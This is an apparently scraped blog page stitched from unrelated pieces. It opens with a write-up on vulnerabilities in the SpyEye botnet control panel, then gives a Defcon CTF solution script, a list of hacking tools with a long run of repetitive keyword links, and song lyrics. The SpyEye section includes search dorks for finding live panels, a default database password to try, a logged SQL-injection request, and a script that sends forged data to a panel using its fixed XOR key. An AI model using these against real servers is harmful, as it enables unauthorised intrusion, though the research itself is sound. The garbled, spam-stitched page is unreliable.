sábado, 22 de agosto de 2020

Attacking Financial Malware Botnet Panels - SpyEye

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus. 

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon. 

Google dorks to find SpyEye C&C server panel related stuff:

  • if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
  • if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
  • also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
  • otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it
And this is how the control panel login looks like, nothing sophisticated:


The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:


Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)


  • Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
  • No password policy - admins can set up really weak passwords
  • No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
  • Password autocomplete enabled - boring
  • Missing HttpOnly flag on session cookie - interesting when combining with XSS
  • No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...
        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))
        {
                $outstr = "<br>";
                set_time_limit(0);
                $filename = str_replace(" ","_",$_FILES['file']['name']);
                $ext = substr($filename, strrpos($filename, '.')+1);
                if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";
                if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";

                switch( $uptype )
                {
                case 'body': $ext = 'b'; break;
                case 'config': $ext = 'c'; break;
                case 'exe': $ext = 'e'; break;
                default: $ext = 'e';
                }
                $_SESSION['file_ext'] = $ext;
                if( isset($_POST['bots']) && trim($_POST['bots']) !== '')
              {
                        $bots = explode(' ', trim($_POST['bots']));
                        //writelog("debug.log", trim($_POST['bots']));
                      $filename .= "_".(LastFileId()+1);
                }
                if( FileExist($filename) ) $filename .= LastFileId();
                $tmpName  = $_FILES['file']['tmp_name'];
                $fileSize = $_FILES['file']['size'];
                $fileType = $_FILES['file']['type'];
                ## reading all file for calculating hash
                $fp = fopen($tmpName, 'r');
  • Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!
$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";
  • ClickJacking - really boring stuff

    SQL injection


    SpyEye has a fancy history of SQL injections. See details here, here, here, video here and video here.

    It is important to highlight the fact that most of the vulnerable functions are reachable without any authentication, because these PHP files lack user authentication at the beginning of the files.

    But if a C&C server owner gets pwned through this vuln, it is not a good idea to complain to the developer, because after careful reading of the install guide, one can see:

    "For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application."

    And there are plenty of reasons not to install the formgrabber admin panel on any internet reachable server. But this fact leads to another possible vulnerability. The user for this control panel is allowed to remotely login to the MySQL database, and the install guide has pretty good passwords to be reused. I mean it looks pretty secure, there is no reason not to use that.

    CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';

    Next time you find a SpyEye panel, and you can connect to the MySQL database, it is worth a shot to try this password.

    Unfortunately the default permissions for this user is not enough to write files (select into outfile):

    Access denied for user 'frmcpviewer' (using password: YES)

    I also made a little experiment with this SQL injection vulnerability. I did set up a live SpyEye botnet panel, created the malware install binaries (droppers), and sent the droppers to the AV companies. And after more and more sandboxes connected to my box, someone started to exploit the SQL injection vulnerability on my server!

    63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"

    Although the query did not return any meaningful data to the attacker (only data collected from sandboxes), it raises some legal questions.

    Which company/organization has the right to attack my server? 
    • police (having a warrant)
    • military (if we are at war)
    • spy agencies (always/never, choose your favorite answer)
    • CERT organisations?

    But, does an AV company or security research company has the legal right to attack my server? I don't think so... The most problematic part is when they hack a server (without authorization), and sell the stolen information in the name of "intelligence service". What is it, the wild wild west?

    The SQLi clearly targets the content of the stolen login credentials. If this is not an AV company, but an attacker, how did they got the SpyEye dropper? If this is an AV company, why are they stealing the stolen credentials? Will they notify the internet banking owners about the stolen credentials for free? Or will they do this for money?

    And don't get me wrong, I don't want to protect the criminals, but this is clearly a grey area in the law. From an ethical point of view, I agree with hacking the criminal's servers. As you can see, the whole post is about disclosing vulns in these botnet panels. But from a legal point of view, this is something tricky ... I'm really interested in the opinion of others, so comments are warmly welcome.

    On a side note, I was interested how did the "attackers" found the SpyEye form directory? Easy, they brute-forced it, with a wordlist having ~43.000 entries.

    (Useless) Cross site scripting


    Although parts of the SpyEye panel are vulnerable to XSS, it is unlikely that you will to find these components on the server, as these codes are part of the install process, and the installer fails to run if a valid install is found. And in this case, you also need the DB password to trigger the vuln...



    Session handling


    This is a fun part. The logout button invalidates the session only on the server side, but not on the client side. But if you take into consideration that the login process never regenerates the session cookies (a.k.a session fixation), you can see that no matter how many times the admin logs into the application, the session cookie remains the same (until the admin does not close the browser). So if you find a session cookie which was valid in the past, but is not working at the moment, it is possible that this cookie will be valid in the future ...

    Binary server


    Some parts of the SpyEye server involve running a binary server component on the server, to collect the form data. It would be interesting to fuzz this component (called sec) for vulns.

    Log files revealed


    If the form panel mentioned in the SQLi part is installed on the server, it is worth visiting the <form_dir>/logs/error.log file, you might see the path of the webroot folder, IP addresses of the admins, etc.

    Reading the code


    Sometimes reading the code you can find code snippets, which is hard to understand with a clear mind:

    $content = fread($fp, filesize($tmpName));
    if ( $uptype === 'config' )
        $md5 = GetCRC32($content);
    else $md5 = md5($content);
    ....
    <script>
    if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {
    alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");
    document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>";
    }
    </script>

    Decrypting SpyEye communication

    It turned out that the communication between the malware and C&C server is not very sophisticated (Zeus does a better job at it, because the RC4 key stream is generated from the botnet password).

    function DeCode($content)
    {
    $res = '';
    for($i = 0; $i < strlen($content); $i++)
    {
    $num = ord($content[$i]);
    if( $num != 219) $res .= chr($num^219);
    }
    return $res;
    }
    Fixed XOR key, again, well done ...
    This means that it is easy to create a script, which can communicate with the SpyEye server. For example this can be used to fill in the SpyEye database with crap data.


    import binascii
    import requests
    import httplib, urllib

    def xor_str(a, b):
    i = 0
    xorred = ''
    for i in range(len(a)):
    xorred += chr(ord(a[i])^b)
    return xorred

    b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+"
    payload =xor_str (binascii.a2b_base64(b64_data), 219)
    print ("the decrypted payload is: " + payload)
    params = (binascii.b2a_base64(xor_str(payload,219)))
    payload = {'data': params}
    r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)

    Morale of the story?


    Criminals produce the same shitty code as the rest of the world, and thanks to this, some of the malware operators get caught and are behind bars now. And the law is behind the reality, as always.

    Related posts


    Defcon 2015 Coding Skillz 1 Writeup

    Just connecting to the service, a 64bit cpu registers dump is received, and so does several binary code as you can see:



    The registers represent an initial cpu state, and we have to reply with the registers result of the binary code execution. This must be automated becouse of the 10 seconds server socket timeout.

    The exploit is quite simple, we have to set the cpu registers to this values, execute the code and get resulting registers.

    In python we created two structures for the initial state and the ending state.

    cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
    finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}

    We inject at the beginning several movs for setting the initial state:

    for r in cpuRegs.keys():
        code.append('mov %s, %s' % (r, cpuRegs[r]))

    The 64bit compilation of the movs and the binary code, but changing the last ret instruction by a sigtrap "int 3"
    We compile with nasm in this way:

    os.popen('nasm -f elf64 code.asm')
    os.popen('ld -o code code.o ')

    And use GDB to execute the code until the sigtrap, and then get the registers

    fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')
    for l in fd.readlines():
        for x in finalRegs.keys():
               ...

    We just parse the registers and send the to the server in the same format, and got the key.


    The code:

    from libcookie import *
    from asm import *
    import os
    import sys

    host = 'catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me'
    port = 9999

    cpuRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
    finalRegs = {'rax':'','rbx':'','rcx':'','rdx':'','rsi':'','rdi':'','r8':'','r9':'','r10':'','r11':'','r12':'','r13':'','r14':'','r15':''}
    fregs = 15

    s = Sock(TCP)
    s.timeout = 999
    s.connect(host,port)

    data = s.readUntil('bytes:')


    #data = s.read(sz)
    #data = s.readAll()

    sz = 0

    for r in data.split('\n'):
        for rk in cpuRegs.keys():
            if r.startswith(rk):
                cpuRegs[rk] = r.split('=')[1]

        if 'bytes' in r:
            sz = int(r.split(' ')[3])



    binary = data[-sz:]
    code = []

    print '[',binary,']'
    print 'given size:',sz,'bin size:',len(binary)        
    print cpuRegs


    for r in cpuRegs.keys():
        code.append('mov %s, %s' % (r, cpuRegs[r]))


    #print code

    fd = open('code.asm','w')
    fd.write('\n'.join(code)+'\n')
    fd.close()
    Capstone().dump('x86','64',binary,'code.asm')

    print 'Compilando ...'
    os.popen('nasm -f elf64 code.asm')
    os.popen('ld -o code code.o ')

    print 'Ejecutando ...'
    fd = os.popen("gdb code -ex 'r' -ex 'i r' -ex 'quit'",'r')
    for l in fd.readlines():
        for x in finalRegs.keys():
            if x in l:
                l = l.replace('\t',' ')
                try:
                    i = 12
                    spl = l.split(' ')
                    if spl[i] == '':
                        i+=1
                    print 'reg: ',x
                    finalRegs[x] = l.split(' ')[i].split('\t')[0]
                except:
                    print 'err: '+l
                fregs -= 1
                if fregs == 0:
                    #print 'sending regs ...'
                    #print finalRegs
                    
                    buff = []
                    for k in finalRegs.keys():
                        buff.append('%s=%s' % (k,finalRegs[k]))


                    print '\n'.join(buff)+'\n'

                    print s.readAll()
                    s.write('\n'.join(buff)+'\n\n\n')
                    print 'waiting flag ....'
                    print s.readAll()

                    print '----- yeah? -----'
                    s.close()
                    



    fd.close()
    s.close()





    Read more


    CEH: 10 Hacking Tools For Hackers


    There are a lot of hacking tools available over the internet but mostly we need some of them. In this blog you'll learn about hacking tools which are typically used in the world of hacking by penetration testers.

    SmartWhois

    SmartWhois is an information-gathering program that allows you to find all available information about an IP address, hostname, or domain, including country, state or province, city, name of the network provider, administrator, and technical support contact information. SmartWhois is a graphical version of the basic Whois program.

    SocksChain

    SocksChain is a tool that gives a hacker the ability to attack through a chain of proxy servers. The main purpose of doing this is to hide the hacker's real IP address and therefore minimize the chance of detection. When a hacker works through several proxy servers in series, it's much harder to locate the hacker. Tracking the attacker's IP address through the logs of several proxy servers is complex and tedious work. If one of the proxy servers' log files is lost or incomplete, the chain is broken, and the hacker's IP address remains anonymous.

    NeoTrace, VisualRoute, and VisualLookout

    NeoTrace, VisualRoute, and VisualLookout are all packet-tracking tools with a GUI or visual interface. They plot the path the packets travel on a map and can visually identify the locations of routers and other internet working devices. These tools operate similarly to traceroute and perform the same information gathering; however, they provide a visual representation of the results.

    Visualware's eMailTrackerPro

    Visualware's eMailTrackerPro ( www.emailtrackerpro.com/ ) and MailTracking ( http://mailtracking.com/ ) are tools that allow an ethical hacker to track email messages. When you use these tools to send an email, forward an email, reply to an email, or modify an email, the resulting actions and tracks of the original email are logged. The sender is notified of all actions performed on the tracked email by an automatically generated email.

    IPEye

    IPEye is a TCP port scanner that can do SYN, FIN, Null, and XMAS scans. It's a command line tool.
    IPEye probes the ports on a target system and responds with closed, reject, drop, or open. Closed means there is a computer on the other end, but it doesn't listen at the port. Reject means a firewall is rejecting the connection to the port (sending a reset back). Drop means a firewall is dropping everything to the port, or there is no computer on the other end. Open means some kind of service is listening at the port. These responses help a hacker identify what type of system is responding.

    IPSecScan

    IPSecScan is a tool that can scan either a single IP address or a range of addresses looking for systems that are IPSec enabled that means the system has IPSec enabled while disabled means that it either has IPSec disabled, the compatibility issue or the configuration issue that not reveal to you that it has IPSec enabled. Indeterminable means that the scanner isn't sure if IPSec is enabled or disabled.

    Icmpenum

    Icmpenum uses not only ICMP Echo packets to probe networks, but also ICMP Timestamp and ICMP Information packets. Furthermore, it supports spoofing and sniffing for reply packets. Icmpenum is great for scanning networks when the firewall blocks ICMP Echo packets but fails to block Timestamp or Information packets.

    SNMP Scanner

    SNMP Scanner allows you to scan a range or list of hosts performing ping, DNS, and Simple Network Management Protocol (SNMP) queries. This tool helps you to find out the current information about the device of SNMP nodes in the given network.

    hping2 tool

    The hping2 tool is notable because it contains a host of other features besides OS fingerprinting such as TCP, User Datagram Protocol (UDP), ICMP, and raw-IP ping protocols, traceroute mode, and the ability to send files between the source and target system.

    THC-Scan, PhoneSweep, and TeleSweep

    THC-Scan, PhoneSweep, and TeleSweep are tools that identify phone numbers and can dial a target to make a connection with a computer modem. These tools generally work by using a predetermined list of common usernames and passwords in an attempt to gain access to the system. Most remote-access dial-in connections aren't secured with a password or use very rudimentary security.

    Related posts


    1. Hacking Tools Windows 10
    2. Hacker Techniques Tools And Incident Handling
    3. Kik Hack Tools
    4. Nsa Hack Tools
    5. Computer Hacker
    6. Hacker Tools Windows
    7. What Is Hacking Tools
    8. Hacking Tools Online
    9. Pentest Tools For Ubuntu
    10. Pentest Tools Android
    11. Bluetooth Hacking Tools Kali
    12. Computer Hacker
    13. Hacker Tools 2020
    14. Hacking Tools Download
    15. Hacking Tools Usb
    16. Pentest Tools Nmap
    17. Easy Hack Tools
    18. Install Pentest Tools Ubuntu
    19. Pentest Automation Tools
    20. Hacking Tools For Games
    21. Hacker Security Tools
    22. Hack Tools Download
    23. Hacking Tools Windows
    24. Pentest Tools Download
    25. Pentest Tools Url Fuzzer
    26. Pentest Tools For Ubuntu
    27. Hack Tools For Games
    28. Black Hat Hacker Tools
    29. Pentest Tools For Windows
    30. Underground Hacker Sites
    31. Termux Hacking Tools 2019
    32. Pentest Tools Android
    33. Best Pentesting Tools 2018
    34. Pentest Tools
    35. What Are Hacking Tools
    36. Hacking Tools For Pc
    37. Hacking Tools For Games
    38. Hacker Tools Free
    39. Hacking Tools Name
    40. Hackers Toolbox
    41. Hacker Tools Free
    42. Pentest Tools Alternative
    43. Hack Tools For Ubuntu
    44. Hacking Tools Hardware
    45. Pentest Tools Download
    46. Hacker Tools List
    47. Pentest Tools Url Fuzzer
    48. Nsa Hacker Tools
    49. Tools Used For Hacking
    50. Hacker Tools 2019
    51. Underground Hacker Sites
    52. Blackhat Hacker Tools
    53. Hack Tools Github
    54. Hak5 Tools
    55. Hack And Tools
    56. Hacker Tools Online
    57. Hacker Security Tools
    58. Pentest Tools Linux
    59. Pentest Tools For Ubuntu
    60. Hacker Tool Kit
    61. Hack Tools 2019
    62. Pentest Tools Website
    63. Hacker Search Tools
    64. Hack Tools For Windows
    65. Wifi Hacker Tools For Windows
    66. Pentest Tools Url Fuzzer
    67. Pentest Tools Bluekeep
    68. Hacker Tools Github
    69. Hacker Techniques Tools And Incident Handling
    70. Bluetooth Hacking Tools Kali
    71. Hacking Tools For Windows
    72. Hack Tools
    73. What Is Hacking Tools
    74. Hacking Tools For Pc
    75. Pentest Tools Website Vulnerability
    76. Pentest Tools Bluekeep
    77. Hacker Tools Free Download
    78. Hacking Tools 2019
    79. Nsa Hacker Tools
    80. Pentest Tools Linux
    81. Hack Tools For Games
    82. Hacking Tools Kit
    83. Hack App
    84. Pentest Tools For Android
    85. Best Pentesting Tools 2018
    86. How To Install Pentest Tools In Ubuntu
    87. Tools For Hacker
    88. Usb Pentest Tools
    89. Hacker Tool Kit
    90. Easy Hack Tools
    91. Pentest Tools For Android
    92. Pentest Tools Tcp Port Scanner
    93. Blackhat Hacker Tools
    94. Hack Tool Apk
    95. Hack Tools For Pc
    96. Hacking Tools For Mac
    97. Github Hacking Tools
    98. Hack Tool Apk
    99. Hack Tools Online
    100. Nsa Hack Tools
    101. Pentest Tools Windows
    102. Hackers Toolbox
    103. Pentest Tools Android
    104. Hacking Tools Github
    105. Hacker Tools For Windows
    106. Pentest Tools Framework
    107. Hack Tools
    108. Beginner Hacker Tools
    109. Hacker Tools Mac
    110. Hack Tool Apk
    111. Hacker Techniques Tools And Incident Handling
    112. Easy Hack Tools
    113. Hack Tools Pc
    114. Hacker Tools Linux
    115. Pentest Tools Linux
    116. Hack Website Online Tool
    117. Hacking Tools For Windows
    118. Nsa Hack Tools Download
    119. Pentest Tools
    120. Tools Used For Hacking
    121. Hacker Tools For Pc
    122. Best Hacking Tools 2019
    123. Pentest Tools Online
    124. Hacking Tools For Beginners
    125. Hacking Tools For Windows Free Download

    Quando eu te falei em amor

    Quando os meus olhos te tocaram
    Eu senti que encontrara
    A outra, metade de mim
    Tive medo de acordar
    Como se vivesse um sonho
    Que não pensei em realizar
    E a força do desejo
    Faz me chegar perto de ti

    Quando eu te falei em amor
    Tu sorriste para mim
    E o mundo ficou bem melhor
    Quando eu te falei em amor
    Nos sentimos os dois
    Que o amanha vem depois
    E não no fim

    Estas linhas que hoje escrevo
    São do livro da memória
    Do que eu sinto por ti
    E tudo o que tu me das
    É parte da história que eu ainda não vivi
    E a força do desejo
    Faz me chegar de ti

    Quando eu te falei em amor
    Tu sorriste para mim
    E o mundo ficou bem melhor
    Quando eu te falei em amor
    Nos sentimos os dois
    Que o amanha vem depois e não no fim

    André Sardet

    Collide

    The dawn is breaking
    A light shining through
    You're barely waking
    And I'm tangled up in you
    Yeah

    But I'm open, you're closed
    Where I follow, you'll go
    I worry I won't see your face
    Light up again

    Even the best fall down sometimes
    Even the wrong words seem to rhyme
    Out of the doubt that fills my mind
    I somehow find, you and I collide

    I'm quiet, you know
    You make a first impression
    I've found I'm scared to know
    I'm always on your mind

    Even the best fall down sometimes
    Even the stars refuse to shine
    Out of the back you fall in time
    I somehow find, you and I collide

    Don't stop here
    I've lost my place
    I'm close behind

    Even the best fall down sometimes
    Even the wrong words seem to rhyme
    Out of the doubt that fills your mind

    You finally find, you and I collide
    You finally find You and I collide
    You finally findYou and I collide

    Howie Day


    Everything

    You're a falling star, You're the get away
    car.

    You're the line in the sand when I go too
    far.

    You're the swimming pool, on an August day.
    And You're the perfect thing to see.

    And you play it coy, but it's kinda cute.
    Ah, When you smile at me you know exactly what you
    do.

    Baby don't pretend, that you don't know it's
    true.

    Cause you can see it when I look at you.

    And in this crazy life, and through these crazy
    times

    It's you, it's you, You make me sing.
    You're every line, you're every word, you're
    everything.


    You're a carousel, you're a wishing well,
    And you light me up, when you ring my bell.
    You're a mystery, you're from outer space,
    You're every minute of my everyday.

    And I can't believe, uh that I'm your man,
    And I get to kiss you baby just because I
    can.

    Whatever comes our way, ah we'll see it
    through,

    And you know that's what our love can do.

    And in this crazy life, and through these crazy
    times

    It's you, it's you, You make me sing
    You're every line, you're every word, you're
    everything.


    So, La, La, La, La, La, La, La
    So, La, La, La, La, La, La, La

    And in this crazy life, and through these crazy
    times

    It's you, it's you, You make me sing.
    You're every line, you're every word, you're
    everything.

    You're every song, and I sing along.
    Cause you're my everything.
    yeah, yeah

    So, La, La, La, La, La, La, La
    So, La, La, La, La, La, La, La

    Michael Bublé